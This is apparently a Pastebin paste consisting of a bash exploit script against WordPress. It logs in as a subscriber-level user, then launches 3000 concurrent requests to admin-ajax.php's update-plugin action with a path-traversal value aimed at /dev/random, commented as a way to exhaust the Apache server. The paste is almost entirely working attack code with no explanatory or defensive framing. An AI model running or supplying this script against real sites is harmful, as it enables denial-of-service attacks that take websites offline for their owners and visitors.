Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/bin/bash
- target="https://site"
- username="subscriber"
- password="password"
- cookiejar=$(mktemp)
- # login
- curl --cookie-jar "$cookiejar" \
- --data "log=$username&pwd=$password&wp-submit=Log+In&redirect_to=%2f&testcookie=1" \
- "$target/wp-login.php" \
- >/dev/null 2>&1
- # exhaust apache
- for i in `seq 1 3000`
- do
- curl --cookie "$cookiejar" \
- --data "plugin=../../../../../../../../../../dev/random&action=update-plugin" \
- "$target/wp-admin/admin-ajax.php" \
- >/dev/null 2>&1 &
- done
- rm "$cookiejar"
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement